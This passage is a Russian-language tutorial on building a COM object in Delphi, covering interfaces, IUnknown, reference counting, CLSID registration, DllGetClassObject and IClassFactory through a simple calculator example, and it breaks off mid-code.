Сделаем еще шаг в направлении Component Object Module (COM).Даже сейчас у экспортируется довольно много функций. Соответсвенно и в программе нам надо сделать несколько ступений - создать переменную-указатель, присвоить ей значение адреса нужной функции при помощи GetProcAddress, и только потом вызвать саму функцию. Причем все эти функции у нас сами по себе и никак не связанны с самим объектом, который мы используем. А неплохо бы сделать так, чтобы можно было работать с ними как с объектом, что нибудь типа:
Са1с.SetOperands(13, 10); i := Calc.Sum;
Так давайте так и сделаем! Правда мы ограничены экспортом только функций, но мы сделаем так: Добавим в dll такую запись.
type
ICalc = record
SetOpers: procedure(x, y: integer);
Sum: function: integer;
Diff: function: integer;
Release: procedure;
end;
И процедуру:
procedure GetInterface(var Calc: ICalc); begin CreateObject; Calc.Sum := Sum; Calc.Diff := Diff; Calc.SetOpers := SetOperands; Calc.Release := ReleaseObject; end;
И будем экспортировать только ее:
exports GetInterface;Видете что происходит? Теперь вместо того, чтобы получать адрес каждой функции, мы можем получить сразу всю таблицу адресов. Причем создание объекта происходит в этой же функции, и пользователю больше не нужно знать функцию CreateObject и не забыть ее вызвать.
Переделаем наш тестер. В описание типов добавим:
type
ICalc = record
SetOpers: procedure(x, y: integer);
Sum: function: integer;
Diff: function: integer;
Release: procedure;
end;
Изменим секцию var.
var Form1: TForm1; _Mod: Integer; GetInterface: procedure(var x: ICalc); Calc: ICalc;
И процедуры где мы используем наш объект.
procedure TForm1.FormCreate(Sender: TObject);
begin
_Mod := LoadLibrary('CalcDll.dll');
GetInterface := GetProcAddress(_Mod, 'GetInterface');
GetInterface(Calc);
Calc.SetOpers(13, 10);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
Calc.Release;
FreeLibrary(_Mod);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(IntToStr(Calc.diff));
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
ShowMessage(IntToStr(Calc.Sum));
end;
Теперь со стороны может показаться, что мы пользуемся объектом, хотя на самом деле это всего лиш таблица с указателями на функции
Понятие интерфейса
Тут наконец проявляется одно из ключевых понятий COM - интерфейс(interface). Наша запись ICalc - это он и есть. То есть интерфейс - это таблица содержашаяя указатели на функции. Когда вы работаете с COM объектом, несмотря на то, что это выглядит так, как будто вы работаете с самим объектом, вы работаете с его интерфейсами. Реализация здесь может быть разная, это может быть указатели на внешнии функции, как это сделанно у нас (так практическм никто не делает), но чаще всего это указатели на методы класса. Пользователя это не волнует - он получает интерфейс и с ним работает, а уж ваша задача потрудиться над тем, чтобы работа с вашим интерфейсом проходила корректно.
Мы можем создать несколько интерфейсов. Допустим, добавим в наш класс две функции:
procedure MyCalc.Mult; //умножение begin result := fx * fy; end; procedure MyCalc.Divide; //деление begin result := fx div fy; end;
Ну и придется добавить еще две внешнии функции:
procedure Mult; begin Calc.Mult end; procedure Divide; begin Calc.Divide; end;
И переделаем GetInterface.
procedure GetInterface(IID: integer; var Calc: ICalc);
//IID - Interface ID(индефикатор интерфейса)
begin
CreateObject;
if IID = 1 then
begin
Calc.Sum := Sum;
Calc.Diff := Diff;
end
else if IID = 2 then
begin
Calc.Sum := Mult;
Calc.Diff := Divide;
end;
Calc.SetOpers := SetOperands;
Calc.Release := ReleaseObject;
end;
Теперь пользователь может ввести какой он хочет интерфейс сложение/вычитание или умножение/деление и получить соответсвующую таблицу методов.
Слышу, слышу. Читатели уже начинают замечать сколько несуразностей в нашем коде. Давайте попробуем приводести его в нормальный вид.
Во первых, неплохо бы избавиться от внешних функций. Сейчас нам приходилось на каждый метод нашего класса добавлять еще одну внешнюю функцию, чтобы этот метод вызывать. Почему мы не можем передпть указатели на методы класса? Дело в том, что указатель на методы класса должен содержать в себе также и указатель на экземпляр класса, чтобы метод мог обращаться к членам этого класса. В Делфи можно задать указатель на функцию класса:
MethodPointer: procedure of object;Такое обявление увеличивает размер указателя с 4 до 8 байт, что позволяет хранить в нем указатель на экземпляр класса. В принципе, возможно этим воспользоваться и описать процедуры нашего интерфейса как объектные, но это не будет шаг в сторону COM. Так как COM должен обеспечивать единый стандарт в нем используются указатели стандартного размера 4 байта. Как же нам все-таки избавиться от неудобных внешних функций? В разных средах разработки это может быть реализованно по разному, но раз уж мы начали с Delphi, рассмотрим как это реализованно в нем.
В Delphi вводиться ключевое слово - interface. Объявление инерфейса - это и есть объявление таблицы методов. Выглядит это так.
IMyInterface = interface
[{GUID}]
< метод1 >
< метод2 >
...
end;
GUID - необязательное поле индефицируеющая интерфейс. Тут надо сказать, что GUID(он же UUID, CLSID) - это 128-битное число, алгоритм генерации которого гарантирует его уникальность во вселенной. В Windows его можно получить функцией CoCreateGuid или UuidCreate. В Делфи это очень удобно встроенно в среду, и вы его можете получить нажав Ctrl+Shift+G.
В нашем простом случае это будет выглядить так:
ICalc = interface
['{149D0FC0-43FE-11D6-A1F0-444553540000}']
procedure SetOperands(x, y: integer);
function Sum: integer;
function Diff: integer;
procedure Release;
end;
Объявленный таким образом интерфейс можно прицепить к классу. Причем заметье, что методы интерфейса имплементируются только в классе, к которому они прицеплены. То есть вот так вы написать не можете:
function ICalc.Sum: integer; begin Result := 0; end;
Как и было сказанно, объявление интерфейса это всего лишь объявление таблицы методов. А имплементируется это так:
MyCalc = class(TObject, ICalc) //интерфейс указывается в списке наследования! fx, fy: integer; public procedure SetOperands(x, y: integer); function Sum: integer; function Diff: integer; procedure Release; end;
Все методы класса у нас уже имплементированны, кроме Release. Ну с ним все понятно:
procedure MyCalc.Release; begin Free; end;
По умолчанию, методы привязываются по именам. То есть если в ICalc указан метод Sum, то компилятор будет искать метод Sum в классе MyCalc. Однако вы можете указать явно другие имена. Например:
MyCalc = class(TObject, ICalc) fx, fy: integer; public function ICalc.Diff = Difference; //задаем нужнок имя (Difference) procedure SetOperands(x, y: integer); function Sum: integer; function Difference: integer; //другое имя procedure Release; end;
В нашем случае, удобно промаппить метод Release к методу Free, это избавит нас от необходимости имплементировать Release в нашем классе.
MyCalc = class(TObject, ICalc) fx, fy: integer; public function ICalc.Release = Free; procedure SetOperands(x, y: integer); function Sum: integer; function Diff: integer; end;Что же происходит при добовлении к классу интерфейса? Здесь для каждого экземпляра нашего класса создается специальная таблица(interface table), в которой храняться все записи о поддерживаемых интерфейсах. Каждая такая запись содержит адрес соответствующего интерфейса, который в свою очередь, как уже было сказанно является таблицей методов. То есть если мы получим адрес, допустим, нашего ICalc, то вызывая функцию по этому же адресу, мы вызовем метод SetOperands класса MyCalc. Если вы вызовете вызовете функцию по адресу +4 то вызовется метод Sum. Еще +4 байта будет метод Diff. То есть как вы видете, здесь указатели на функции имеют размер 4 байта, и адрес нужной функции получают прибавлением нужного смещения к адресу интерфейса. Получить же адрес нужного интерфейса можно с помощью метода GetInterface класса TObject.
Забудем пока, что мы делали два интерфейса, и вернмся к варианту с одним интерфейсом. Перепишим наш GetInterface.
procedure GetInterface(var ACalc: ICalc); begin CreateObject; Calc.GetInterface(ICalc, ACalc); end;
Мы воспользовались методом GetInterface, который вышлядит так:
function TObject.GetInterface(const IID: TGUID; out Obj): Boolean;этот возвращает в параметре Obj указатель на интерфейс, по указанному индификатору GUID. Допускается вместо переменной типа TGIUD поставить имя интерфейса - компилятор сам подставит его GUID если он ему известен.
Все. Выбрасывайте все внешнии функции, кроме GetInterface. Теперь нам придется сказать спасибо Воrlаnd'у и сделать несколько дополнительных действий. Дело в том, что по стандарту COM каждый COM объект должен имплементировать интерфейс IUnknown. Он содержит три метода и выглядит так:
IUnknown = interface
['{00000000-0000-0000-C000-000000000046}']
function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;
function _AddRef: Integer; stdcall;
function _Release: Integer; stdcall;
end;
Хочу еще раз отметить, что эти примеры пишутся для Делфи, однако суть от этого не меняется. Как бы не выглядил интерфейс в других средах разработки, он всегда остается таблицой с адресами функций. И если говорить о IUnkown, то он всегда должен содержать эти же методы, в этом же порядке. В С++ он например выглядит так:
struct IUnknown
{
HRESULT QueryInterface(REFIID iid, void ** ppvObject);
ULONG AddRef(void);
ULONG Release(void);
}
Так вот, в Delhpi все интерфейсы наследуются от IUnknown. Так что и наш интерфейс тоже содержит эти методы, а значит и компилятор потребует от вас их имплементации. Ну что ж. Добавтье пока пустые методы QueryInterface, _AddRef и _Release, позже мы их имплементируем правильно.
Теперь не забудтье поменять тип ICalc на интерфейс в тестере, и убедитесь, что все работает. :)
Понятие интерфейса 2
Давайте теперь вернем наш второй интерфейс. Теперь, когда таблица интерфейсов создается компилятором, мы не можем эмулировать два интерфейса простой заменой адресов функций. Теперь нам действительно надо создать второй интерфейс. Хорошо, что интерфейсы можно наследовать:
ICalc2 = interface(ICalc) function Mult: integer; function Divide: integer; end;
Так ICalc2 будет содержать в себе все методы ICalc. Нам Sum и Diff в этом интерфейсе не нужны, так что давайте лучше напишим так:
ICalcBase = interface
//здесь нам GUID не нужен, так как с этим интерфейсом мы работать не собираемся.
procedure SetOperands(x, y: integer);
procedure Release;
end;
ICalc = interface(ICalcBase)
['{149D0FC0-43FE-11D6-A1F0-444553540000}']
function Sum: integer;
function Diff: integer;
end;
ICalc2 = interface(ICalcBase)
['{D79C6DC0-44B9-11D6-A1F0-444553540000}']
function Mult: integer;
function Divide: integer;
end;
Теперь добавим его в наш объект.
MyCalc = class(TObject, ICalc, ICalc2) ... //без изменений function Divide: integer; //это и function Mult: integer; //это добавили end;
Опять возмемся за наш GetInterface. В принципе, мы могли бы оставить выбор интерфейса как было у нас раньше - передаем в GetInterface целую переменную и если она равна 1 то возвращаем ICalc, а если 2 то ICalc2. Но уж коли мы связались с COM, то давайте будем, по возможнсти, к нему приближаться. Сделаем полную аналогию GetInterface в TObject:
function GetInterface(const IID: TGUID; var ACalc): Boolean;
begin
CreateObject;
Result := Са1с.GetInterface(IID, ACalc);
if not Result then
Calc.Free;
end;
Вуоля! Чуствуется, насколько теперь лучше, чем было вначале? Теперь если запрашиваемый инерфейс нашим объектом не поддерживается, то во-первых, мы даем клиенту об этом узнать, возвращая в Calc nil ( TObject.GetInterface это делает) и возвращая False из функции, а во- вторых, мы сразу же освобождаем объект. Но на самом деле, то что во-вторых, ничего хорошего нет, ибо мы подходим к следующей проблеме. Функцию мы обозвали GetInterface, но она еще и объект создает! А если пользователь захотел получить вначале ICalc, а потом ICalc2? Так как ему известна лишь функция GetInterface, он может воспользоваться только ей и получит два объекта, вместо двух интерфейсов одного объекта. Значит нужно отделить функции создание объекта, от получение его интерфейса. Давайте попробуем это сделать. Первая попытка:
... var Calc:MyCalc; //без изменений ... ... procedure CreateObject; begin Calc:=MyCalc.Create; end; function GetInterface(const IID: TGUID; var ACalc): Boolean; begin Result:=Са1с.GetInterface(IID,ACalc); end; exports CreateObject, //добавили в экспорт GetInterface;
Хм... Не работает, не правда ли? Если клиент сделает так:
CreateObject; CreateObject; GetInterface(ICalc, Calc);
То он получит интерфес второго созданного объекта, тогда как первый объект будет навсегда утерян. Что же надо сделать? Надо сделать так, чтобы CreateObject возвращала бы чего-нибудь, чтобы мы могли индифецировать объект, и получать имено его интерфейсы. Как я уже сказал, клиент работает с COM объектом только через его интерфейсы, значит логичнее всего при создании объекта вернуть интерфейс созданного объекта(точнее, указатель на него). Для нашего случая, можно возвращать указатель на ICalc, но можно облегчить жизнь ползователю, и попросить его указать, какой интерфейс он хочет.
procedure CreateObject(const IID: TGUID; var ACalc);
var
Са1с: MyCalc;
begin
Calc := MyCalc.Create;
if not Calc.GetInterface(IID, ACalc) then
Calc.Free;
end;
Здесь если интерфейса, который пользователь попросит нас нет, мы вернем nil и удалим объект. Если интерфейс есть, то пользователь сам будет удалять объект через метод Release. Неплохо, не правда ли? Теперь глобальная переменная Calc нам не нужна - мы создаем много обектов динамически.
Ну теперь совсем очевидно, что если ползователь захочет еще один интерфейс этого объекта, то логичнее всего у этого объекта этот интерфейс и поросить. Вот мы уже влотную подошли к имплементации IUnknown - основного интерфейса в COM. Как я уже сказал, все объекты должны имплементировать IUnknown, и все интерфейсы должны быть потомками IUnknown(что Borland и сделал). Так что вы помните, что и оба наших интерфейса ICalc и ICalc2 являются потомками IUnknown, а значит и первые три метода, которые они содержат - это QueryInterface, AddRef, Release. Помните, я предлагал вам оставить эти три метода пустыми? Давайте сейчас имплементируем один из них - QueryInterface:
function MyCalc.QueryInterface(const IID: TGUID; out Obj): HResult;
begin
if GetInterface(IID, Obj) then
Result := S_OK
else
Result := E_NOINTERFACE;
end;
HResult это тоже, что и Longint, только его значение определятся соглашением принятым в COM.
Собираем тестовый пример
Теперь, давайте соберем код. Прошу учесть, что практически не делается никаких проверок - это демонстрационный код. Но работающий.
В начале код dll c объектом.
library CalcDll;
uses
SysUtils,
Classes;
type
HResult = Longint;
ICalcBase = interface //чисто абстрактный интерфейс
procedure SetOperands(x, y: integer);
procedure Release;
end;
ICalc = interface(ICalcBase)
['{149D0FC0-43FE-11D6-A1F0-444553540000}']
function Sum: integer;
function Diff: integer;
end;
ICalc2 = interface(ICalcBase)
['{D79C6DC0-44B9-11D6-A1F0-444553540000}']
function Mult: integer;
function Divide: integer;
end;
MyCalc = class(TObject, ICalc, ICalc2) //два интерфейса
fx, fy: integer;
public
procedure SetOperands(x, y: integer);
function Sum: integer;
function Diff: integer;
function Divide: integer;
function Mult: integer;
procedure Release;
function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall;
function _AddRef: Longint; stdcall;
function _Release: Longint; stdcall;
end;
const
S_OK = 0;
E_NOINTERFACE = HRESULT($80004002);
procedure MyCalc.SetOperands(x, y: integer);
begin
fx := x;
fy := y;
end;
function MyCalc.Sum: integer;
begin
result := fx + fy;
end;
function MyCalc.Diff: integer;
begin
result := fx - fy;
end;
function MyCalc.Divide: integer;
begin
result := fx div fy;
end;
function MyCalc.Mult: integer;
begin
result := fx * fy;
end;
procedure MyCalc.Release;
begin
Free;
end;
function MyCalc.QueryInterface(const IID: TGUID; out Obj): HResult;
begin
if GetInterface(IID, Obj) then
Result := S_OK
else
Result := E_NOINTERFACE;
end;
function MyCalc._AddRef;
begin
end;
function MyCalc._Release;
begin
end;
procedure CreateObject(const IID: TGUID; var ACalc);
var
Calc: MyCalc;
begin
Calc := MyCalc.Create;
if not Calc.GetInterface(IID, ACalc) then
Calc.Free;
end;
exports
CreateObject;
begin
end.
А теперь тестер.
unit tstcl;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ComObj;
type
//обратите внимание! Используем один унифицированный интерфейс
IUniCalc = interface
procedure SetOperands(x, y: integer);
procedure Release;
function Sum: integer;
function Diff: integer;
end;
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Button3: TButton;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
end;
var
Form1: TForm1;
_Mod: Integer; //хэндл модуля
СгеаtеОьjесt: procedure(IID: TGUID; out Obj); //процедура из dll.
Calc: IUniCalc; //это указатель на интерфейс котрый мы будем получать
ICalcGUID: TGUID;
ICalc2GUID: TGUID;
flag: boolean; // какой интерфейс активный.
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
_Mod := LoadLibrary(PChar('C:\Kir\COM\SymplDll\CalcDll.dll'));
//Эти GUID я просто скопировал из исходника CalcDll.dll
ICalcGUID := StringToGUID('{149D0FC0-43FE-11D6-A1F0-444553540000}');
ICalc2GUID := StringToGUID('{D79C6DC0-44B9-11D6-A1F0-444553540000}');
flag := true;
СгеаtеОьjесt := GetProcAddress(_Mod, 'CreateObject');
СгеаtеОьjесt(ICalcGUID, Calc);
if Calc <> nil then
Calc.SetOperands(10, 5);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
if Calc <> nil then
Calc.Release;
FreeLibrary(_Mod);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(IntToStr(Calc.diff));
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
ShowMessage(IntToStr(Calc.Sum));
end;
procedure TForm1.Button3Click(Sender: TObject);
var
tmpCalc: IUniCalc;
begin
if flag then
Calc.QueryInterface(ICalc2GUID, tmpCalc)
else
Calc.QueryInterface(ICalcGUID, tmpCalc);
flag := not flag;
Calc := tmpCalc;
end;
end.
Обратите вснимание, что происходит при нажатии на кнопкуЗ. Мы используем ту же самую переменную, для работы со вторым интерфейсом! Этот пример показывает, что получая указатель на интерфейс, его методы мы получаем за счет смещения, от адреса который этот указатель содержит. Короче, мы получаем адрес таблицы методов. Потыкайте, посмотрите что происходит.
Стандарт СОМ
Продолжаем, осталось совсем немного, чтобы подогнать под стандарт COM. Какой у нас пробел еще остался? Представте, что кто-то сделал так:
var Calc: ICalc; Calc2: ICalc2; begin CreateObject(ICalc, Calc); Calc.QueryInterafce(ICalc2, Calc2) ... Calc.Release; //объект уничтожается i := Calc2.Mult; //Облом! Объекта уже нет. ... end;
Не очень хорошо, не правда ли? Нужно все-таки сохранить объект, пока им кто-то пользуется. Очевидное решение - подсчет ссылок. То есть, если у нашего объекта попросили интерфейс, мы увеличим счетчик, если кому-то интерфейс больше не нужен, мы ументьшим счетчик, и как только он обратиться в 0 мы уничтожим объект. Вот и настала пора, имплементировать последние два метода в интерфейса IUnknown. Вначале, добавим счетчик в наш объект:
MyCalc = class(TObject, ICalc, ICalc2) fx, fy: integer; FRrefCount: LongInt; //вот он! public procedure SetOperands(x, y: integer); function Sum: integer; function Diff: integer; function Divide: integer; function Mult: integer; procedure Release; function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall; function _AddRef: Longint; stdcall; function _Release: Longint; stdcall; end;
И имплементируем методы:
function MyCalc._AddRef: Longint;
begin
Result := InterlockedIncrement(FRefCount);
end;
function MyCalc._Release: Longint;
begin
Result := InterlockedDecrement(FRefCount);
if Result = 0 then
Destroy;
end;
Именно так, как правило, выглядят эти два метода в реализациях под Windows. Теперь в нашем интерфейсе Release не нужен, и можно его оттуда выкинуть. Итак, клиент должен вызывать Release для того, чтобы дать объекту знать, что он его больше не будет использовать, а кто должен вызывать AddRef? Во-первых, мы сами, всегда, когда клиент получает от нас интерфейс. Если бы мы не писали на Delphi, это надо было бы делать в методе QueryInterface, однако в Delhpi метод GetInterface класса TObject сам вызывает AddRef, так что нам заботиться об этом не надо. Надо сказать, что и клиент может вызвать AddRef, если по каким-то причинам, не желает чтобы объект исчез из памяти. Но тут уж вся ответсвенность на нем. Надо сказать еще об одной особенности Delphi, касательно использования COM объектов(а точнее интерфейсов) в своих приложениях. Как было упомянуто выше, клиент должен вызывать Release для того, чтобы объект знал, когда ему можно удалиться. Так вот для переменных типа interface Delphi сам вызывает Release, если переменная уничтожается или если ей присваивается nil. То есть:
var ifc: IUnknown; begin ifc := SomeComObj.QueryInterface(IUnknown, ifc); ... ifc := nil; //здесь вызывается ifc._Release end; var ifc: IUnknown; begin ifc := SomeComObj.QueryInterface(IUnknown, ifc); ... end; //теперь где-то здесь ifc._Release (перед уничтожением ifc).
Так что всегла имейте это ввиду: как минимум один раз Release будет вызван без вашего указания.
var ifc: IUnknown; begin ifc := SomeComObj.QueryInterface(IUnknown, ifc); ifc._Release; end; //Access violation! Объекта уже нет и вызов ifc._Release проваливается!Ну вот у нас теперь практически полноценный COM объект. Чем же он еще не полноценен? Наверно вы уже догадались - он не универсален с точки зрения системы. То есть создать его можно лишь подключив загрузив вручную нашу dll и вызвав CreateObject. Но ведь в Windows есть возможность вызывать СОМ объекты даже просто по имени! Как это делается? Понятно, что в системе существует правило, как создавать COM объекты. И если мы хотим, чтобы система знала как слздать наш MyCalc, мы должны сделать его по этим правилам. Именно этим мы и займемся. Но в начале, небольшое резюме. Итак СОМ - это битовый стандарт, то есть он обеспечивает совместимость на битовом уровне. С СОМ объектами работают через их интерфейсы. Интерфейс - это таблица методов, указатель на которую мы можем получить у объекта. Каждый СОМ объект имплементирует интерфейс IUnknown, который содержит три метода: QueryInterface, AddRef и Release (это стандартные имена, но в принципе вы можете дать любые. Так как совмещение идет на битовом уровне, то важен лишь порядок в котором расположенны эти методы в таблице, а так же тип метода(набор параметров, тип возвращаемого значения, тип вызова)). Все интерфейсы должны быть потомками IUnknown, то есть у каждого интерфейса первые три метода это QueryInterface, AddRef и Release. Интерфейсы индифецируются GUID. Для того, чтобы получить у объекта какой-то интерфейс, нужно знать его(интерфейса) GUID. То есть название интерфейса неважно для COM - оно исползуется для удобства людей. Вы можете назвать его IMyInterface, но если его GUID равен {00000000-0000-0000-C000-000000000046}, то все в COM'e (случайная игра слов) будут думать, что это IUnknown. Ну вот в основном все, пойдем дальше. Как система создаёт объект СОМ
Итак, давайте посмотрим как система создает СОМ объект. (Все, что написанно далее про создание СОМ объекта, не является стандартом СОМ, а является поддержкой работы COM системой. То есть так поддержка реализованна в Windows. В других системах поддержка COM (если вы ее там найдете) может быть реализована по другому.) Наиболее часто используемая API функция в Windows для создания СОМ объекта это CoCreateInstance (все названия функций Win API для работы с СОМ имеют префикс Со). Выглядит она так:
STDAPI CoCreateInstance(
REFCLSID rclsid,
LPUNKNOWN pUnkOuter,
DWORD dwClsContext,
REFIID riid,
LPVOID * ppv
);
Давайте запишим ее в паскалевском виде, и прокомментируем:
function CoCreateInstance(
const clsid: TCLSID;
// Индификатор класса объект которого мы хотим создать (это, как всегда, GUID)
unkOuter: IUnknown;
// указатель на интерфейс агрегирующего объекта (агрегирование мы рассматривать
// пока не будем поэтому он у нас будет nil)
dwClsContext: Longint;
// контекст в котором объект должен быть создан объект
const iid: TIID;
// индификатор интерфейса который мы хотим получить (это тоже GUID)
out pv
// переменная в которую будет записан полученный интерфейс
): HResult; stdcall;
Параметр dwClsContext указывает как должен быть создан объект. Если мы хотим создавать наш калькулятор c помощью CoCreateInstance этот параметр будет равен CLSCTX_INPROC_SERVER, то есть внутрипроцессорный сервер, так как наш объект находиться внутри dll и не может работать как отдельный процесс. Значит создание нашего объекта будет выглядеть примерно так:
var
Calc: ICalc;
begin
CoCreateInstance({GUID нашего класса которого у нас пока нет}, nil,
CLSCTX_INPROC_SERVER, ICalc, Calc);
...
end;
Итак у нас нет GUID нашего класса. Ну, его придумать не проблема, нажал в Delphi Ctrl+Shift+G и GUID готов (особо крутые программисты могут написать свою программку генерации GUID, которая будет сосотоять из одного вызова API функции СоСгеаtеGUID или UuidCreate). А как система узнает о том, что этот GUID пренадлижит нашему классу? Правильно, пора заглянуть в реестр.Открываем ключ HKEY_CLASSES_ROOT\CLSID и видим длинный список GUID'ов. Именно в этом списке находятся все GUID зарегистрированных COM классов (GUID классов чаще называют CLSID - Class ID).При вызове CoCreateInstance в этом списке ищется тот GUID который равен параметру CLSID и если он находиться, то рассматривается параметр dwClsContext, и в соответсвии с ним ищется следующий подключ: если dwClsContext=CLSCTX_INPROC_SERVER ищется подключ InprocServer32 если dwClsContext=CLSCTX_INPROC_HANDLER ищется подключ InprocHandler32 если dwClsContext=CLSCTX_LOCAL_SERVER ищется подключ LocalServer32 и если он существует, то значение этого ключа будет указывать путь к модулю в котором находиться исполняемый код класса. Итак, чтобы зарегестрировать наш класс, нужно создать новый GUID (пусть это будет {2563AE40-AC27-11D6-A5C2-444553540000} ) и создать в реестре новый раздел HKEY_CLASSES_ROOT\CLSID\{2563AE40-AC27-11D6-A5C2-444553540000}, а в нем создать еще один подраздел InprocServer32 и в значение по умолчанию записать путь к нашей dll, у меня это C:\Kir\COM\SymplDll\CalcDll.dll. Отлично, теперь система знает где искать наш класс. Теперь давайте посмотрим как она этот класс создает.
А создает она его так (сейчас мы говорим только о in-proc сервере).Найденная библиотека(dll) с классом загружается в память и в ней вызывается функция DllGetClassObject! Вот основная функция которую наша библиотека должна содержать, и через которую система и создает COM объект. Как она выглядит и что она должна делать? Выглядит она вот так:
function DllGetClassObject(const CLSID, IID: TGUID; var Obj): HResult; stdcall;а делать она должна то, что делает сейчас наша функция CreateObject - создавать класс. По сравнению с CreateObject добавляется еще один параметр CLSID, так как библиотека может содержать больше чем один класс, то этот параметр указывает объект какого класса нужно создать. Если параметр CLSID содержит неизвестный нашей библиотеке GUID то функция должна вернуть CLASS_E_CLASSNOTAVAILABLE.
Давайте перепишим наш CreateObject на DllGetClassObject:
function DllGetClassObject(const CLSID, IID: TGUID; var Obj): HResult; stdcall;
var
Calc: MyCalc;
begin
if GUIDToString(CLSID) <> '{2563AE40-AC27-11D6-A5C2-444553540000}'
{GUID нашего класса} then
begin
Result := CLASS_E_CLASSNOTAVAILABLE;
exit;
end;
Calc := MyCalc.Create;
if not Calc.GetInterface(IID, Obj) then
begin
Result := E_NOINTERFACE;
Calc.Free;
exit;
end;
Result := S_OK;
end;
exports
// Не забыть добавить в список экспорта!
DllGetClassObject;
Итак, первой строчкой проверяем, является ли спрашевыемый индификатор класса(CLSID) индификатором нашего класса, который мы недавно придумали, с помощю Delphi, а далее как было раньше, пытаемся записать в переменную Obj указатель на интерфейс того интерфейса, GUID которого был нам передан в качестве параметра IID. Если такой интерфейс нашим классом не поддерживается, освобождаем объект и возвращаем ошибку. Если же все нормально, возвращаем S_OK, а в выходном параметре Obj будет находиться указатель на спрашиваемый интерфейс.
Так же перепишим в тестере процедуру, где мы создаем наш COM калькулятор - это TForm1.FormCreate:
procedure TForm1.FormCreate(Sender: TObject);
begin
ICalcGUID := StringToGUID('{149D0FC0-43FE-11D6-A1F0-444553540000}');
ICalc2GUID := StringToGUID('{D79C6DC0-44B9-11D6-A1F0-444553540000}');
flag := true;
if СоСгеаtеInstаnсе(StringTOGUID('{2563AE40-AC27-11D6-A5C2-444553540000}'),
nil, CLSCTX_INPROC_SERVER, ICalcGUID, Calc) = S_OK then
Calc.SetOperands(10, 5)
else
begin
ShowMessage('Failed to create Calc');
Close;
end;
end;
Как вы видите, мы не загружаем здесь библиотеку в память, чтобы потом вызвать из нее соответсвующую функцию для создания объекта, а перепоручаем всю эту работу CoCreateInstance. В качестве индификатора класса мы передаем GUID нашего класса, а в касечтве индификатора интерфейса передаем GUID интерфейса ICalc. Ну а сам указатель на интерфейс должен записаться в переменную Calc.
Ну все. Все готово, теперь все компилируем и запускаем... Объект не создается! CoCreateInstance возвращает REGDB_E_CLASSNOTREG - класс не зарегестрирован. Но на самом деле ошибка не в том, что класс не зарегестрирован. А в чем? Давайте пройдемся пошагово по нашей dll. Поставим брекпойнт на первую линию функции DllGetClassObject. Мы видим, что эта функция вызывается, что CLSID соответсвует GUID нашего класса, что сам объект создается, но что дальше? Метод GetInterface не находит спрашеваемого интерфейса! Посмотрите чему равен параметр IID и вы увидите, что он не равен GUID интерфейса ICalc, который мы передавали CoCreateInstance, а равен он вот такому значению: {00000001-0000-0000-C000-000000000046}. Можно заглянуть в реестр Windows, чтобы узнать, что интерфейс с таким GUID носит название IClassFactory. Что ж, выходит CoCreateInstance просит не тот интерфейс, который мы предаем ей как параметр. Microsoft не скрывает реализацию CoCreateInstance - это, на самом деле, всего лишь вспомогательная функция и делает она следующее (вольный перевод на Delphi):
function CoCreateInstance(const clsid: TCLSID; unkOuter: IUnknown; dwClsContext: Longint; const IID: TIID; out pv): HResult; stdcall; var p: IClassFactory; begin CoGetClassObject(CLSID, dwClsContext, nil, IClassFactory, p); Result = p.CreateInstance(unkOuter, IID, pv); end;Первой строчкой вызывается API функция CoGetClassObject, параметры у нее точно такие же как у CoCreateInstance, и как раз она является основной функцией - она находит библиотеку с классом и вызывает DllGetClassObject (опять же, это все для in-proc серверов). И как видите, она действительно просит интерфейс IClassFactory. Что бы понять, что делает следующая строчка, нужно рассмотреть еще один офицальный и широко известный интерфейс IClassFactory. IClassFactory
Итак, IClassFactory предназначен для того, чтобы создавать экземпляры соответствующего класса. То есть строчкой:
CoGetClassObject(Calc_CLSID, dwClsContext, nil, IClassFactory, p); //Calc_CLSID - GUID нашего калькуляторамы должны получить интерфейс, с помощью которого мы сможем создавать сколь угодно много наших калькуляторов (конкретнее: экземпляров нашего класса MyCalc). Для этого вызывается метод этого интерфейса CreateInstance. Параметры у него до боли знакомые - они точно такие же как три последних параметра у СоСгеаtеInstаnсе или CoGetClassObject. CLSID уже не нужен, так как данный интерфейс принадлежит классу, который создает только объекты определенного класса - того CLSID которого мы указали в СоСгеаtеInstаnсе, который потом передался в CoGetClassObject и который наконец попал в DllGetClassObject. Видете, тут довольно забавно получается - мы просим создать объект и выдать для этого объекта интерфейс IClassFactory, с помощью которого мы будем создавать эти же объекты. В принципе, мы совершаем лишнее действие, если собираемся создать только один объект, однако если мы хотим создать множество объектов, то такой путь более эффективен, чем многократный вызов CoCreateInstance или CoGetClassObject, поэтому он и был утвержден.
Чисто теоретически, мы можем сделать так (для нашего калькулятора):
var
p: IClassFactory;
Calc: ICalc;
begin
//создаем объект (MyCalc) и получаем для него интерфейс IClassFactory
CoGetClassObject(StringTOGUID('{2563AE40-AC27-11D6-A5C2-444553540000}'), nil,
CLSCTX_INPROC_SERVER, IClassFactory, p);
//получаем интерфейс ICalc
p.QueryInterface(ICalcGUID, Calc);
end;
Ибо IClassFactory, как и любой интерфейс, является потомком IUnknown, и поддерживает метод QueryInterface (как AddRef и Release, который Delphi вызывает автоматически). Единственная загвоздка состоит в том, что несмотря на то, что этот интерфейс вроде должен пренадежать только что созданному объекту MyCalc, во многих реализациях он ему не пренадлежит. Ну у нас то, конечно, пока еще вообще никакой реализации нет, но если бы это делал кто-то другой, то возможно он бы реализовал DllGetClassObject так:
function DllGetClassObject(const CLSID, IID: TGUID; var Obj): HResult; stdcall;
var
Calc: TObject;
begin
if GUIDToString(CLSID) <> '{2563AE40-AC27-11D6-A5C2-444553540000}'
{GUID нашего класса} then
begin
Result := CLASS_E_CLASSNOTAVAILABLE;
exit;
end;
// если спрашивается IClassFactory, то создаем класс-фабрику.
if IID = IClassFactory then
